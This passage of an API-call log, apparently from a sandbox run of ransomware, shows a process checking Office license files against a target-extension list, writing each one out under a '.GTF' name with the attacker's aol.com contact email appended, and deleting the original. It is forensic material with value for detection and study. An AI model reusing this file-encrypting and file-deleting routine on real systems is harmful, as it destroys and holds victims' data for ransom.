	[0181.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.167] lstrlenW (lpString=".doc") returned 4
	[0181.167] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.167] lstrlenW (lpString=".docx") returned 5
	[0181.167] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.167] lstrlenW (lpString=".pdf") returned 4
	[0181.167] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.167] lstrlenW (lpString=".xls") returned 4
	[0181.167] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.167] lstrlenW (lpString=".xlsx") returned 5
	[0181.167] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.167] lstrlenW (lpString=".ppt") returned 4
	[0181.167] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.167] lstrlenW (lpString=".zip") returned 4
	[0181.167] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".rar") returned 4
	[0181.168] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".bz2") returned 4
	[0181.168] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".7z") returned 3
	[0181.168] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.168] lstrlenW (lpString=".dbf") returned 4
	[0181.168] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.168] lstrlenW (lpString=".1cd") returned 4
	[0181.168] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.168] lstrlenW (lpString=".jpg") returned 4
	[0181.168] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.168] lstrlenW (lpString=".doc") returned 4
	[0181.168] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".docx") returned 5
	[0181.168] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.168] lstrlenW (lpString=".pdf") returned 4
	[0181.168] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".xls") returned 4
	[0181.168] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".xlsx") returned 5
	[0181.168] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.168] lstrlenW (lpString=".ppt") returned 4
	[0181.168] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.168] lstrlenW (lpString=".zip") returned 4
	[0181.168] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".rar") returned 4
	[0181.168] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.168] lstrlenW (lpString=".bz2") returned 4
	[0181.168] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.169] lstrlenW (lpString=".7z") returned 3
	[0181.169] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.169] lstrlenW (lpString=".dbf") returned 4
	[0181.169] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.169] lstrlenW (lpString=".1cd") returned 4
	[0181.169] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0181.169] lstrlenW (lpString=".jpg") returned 4
	[0181.169] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.169] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.169] lstrlenW (lpString="O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 36
	[0181.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.170] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11630) returned 1
	[0181.170] CloseHandle (hObject=0x568) returned 1
	[0181.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0181.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.170] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.170] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.171] GetLastError () returned 0x0
	[0181.171] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0181.321] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0181.322] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.322] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0181.323] SetEndOfFile (hFile=0x560) returned 1
	[0181.323] CloseHandle (hObject=0x560) returned 1
	[0181.323] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.323] SetEndOfFile (hFile=0x568) returned 1
	[0181.325] CloseHandle (hObject=0x568) returned 1
	[0181.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0181.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.484] lstrlenW (lpString=".doc") returned 4
	[0181.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString=".docx") returned 5
	[0181.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.484] lstrlenW (lpString=".pdf") returned 4
	[0181.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString=".xls") returned 4
	[0181.484] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString=".xlsx") returned 5
	[0181.484] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.484] lstrlenW (lpString=".ppt") returned 4
	[0181.484] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.484] lstrlenW (lpString=".zip") returned 4
	[0181.484] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString=".rar") returned 4
	[0181.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString=".bz2") returned 4
	[0181.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString=".7z") returned 3
	[0181.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.484] lstrlenW (lpString=".dbf") returned 4
	[0181.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.484] lstrlenW (lpString=".1cd") returned 4
	[0181.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString=".jpg") returned 4
	[0181.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString=".doc") returned 4
	[0181.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString=".docx") returned 5
	[0181.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.485] lstrlenW (lpString=".pdf") returned 4
	[0181.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString=".xls") returned 4
	[0181.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString=".xlsx") returned 5
	[0181.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.485] lstrlenW (lpString=".ppt") returned 4
	[0181.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString=".zip") returned 4
	[0181.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString=".rar") returned 4
	[0181.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString=".bz2") returned 4
	[0181.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString=".7z") returned 3
	[0181.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString=".dbf") returned 4
	[0181.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString=".1cd") returned 4
	[0181.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0181.485] lstrlenW (lpString=".jpg") returned 4
	[0181.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.486] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.486] lstrlenW (lpString="O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 45
	[0181.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.486] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11671) returned 1
	[0181.486] CloseHandle (hObject=0x504) returned 1
	[0181.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0181.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.487] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.487] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0181.488] GetLastError () returned 0x0
	[0181.488] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0181.537] WriteFile (in: hFile=0x55c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0181.563] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.563] WriteFile (in: hFile=0x55c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0181.563] SetEndOfFile (hFile=0x55c) returned 1
	[0181.563] CloseHandle (hObject=0x55c) returned 1
	[0181.563] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.563] SetEndOfFile (hFile=0x504) returned 1
	[0181.566] CloseHandle (hObject=0x504) returned 1
	[0181.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms")) returned 1
	[0181.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.963] lstrlenW (lpString=".doc") returned 4
	[0181.963] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString=".docx") returned 5
	[0181.963] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.963] lstrlenW (lpString=".pdf") returned 4
	[0181.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString=".xls") returned 4
	[0181.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString=".xlsx") returned 5
	[0181.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.963] lstrlenW (lpString=".ppt") returned 4
	[0181.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.963] lstrlenW (lpString=".zip") returned 4
	[0181.963] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString=".rar") returned 4
	[0181.963] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString=".bz2") returned 4
	[0181.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString=".7z") returned 3
	[0181.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.963] lstrlenW (lpString=".dbf") returned 4
	[0181.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".1cd") returned 4
	[0181.964] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".jpg") returned 4
	[0181.964] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".doc") returned 4
	[0181.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString=".docx") returned 5
	[0181.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.964] lstrlenW (lpString=".pdf") returned 4
	[0181.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString=".xls") returned 4
	[0181.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString=".xlsx") returned 5
	[0181.964] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.964] lstrlenW (lpString=".ppt") returned 4
	[0181.964] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".zip") returned 4
	[0181.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString=".rar") returned 4
	[0181.964] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString=".bz2") returned 4
	[0181.964] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString=".7z") returned 3
	[0181.964] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".dbf") returned 4
	[0181.964] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".1cd") returned 4
	[0181.964] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95
	[0181.964] lstrlenW (lpString=".jpg") returned 4
	[0181.964] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.965] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.965] lstrlenW (lpString="O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 38
	[0181.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.965] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23843) returned 1
	[0181.965] CloseHandle (hObject=0x568) returned 1
	[0181.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0181.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.966] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.966] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.967] GetLastError () returned 0x0
	[0181.967] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5d23, lpOverlapped=0x0) returned 1
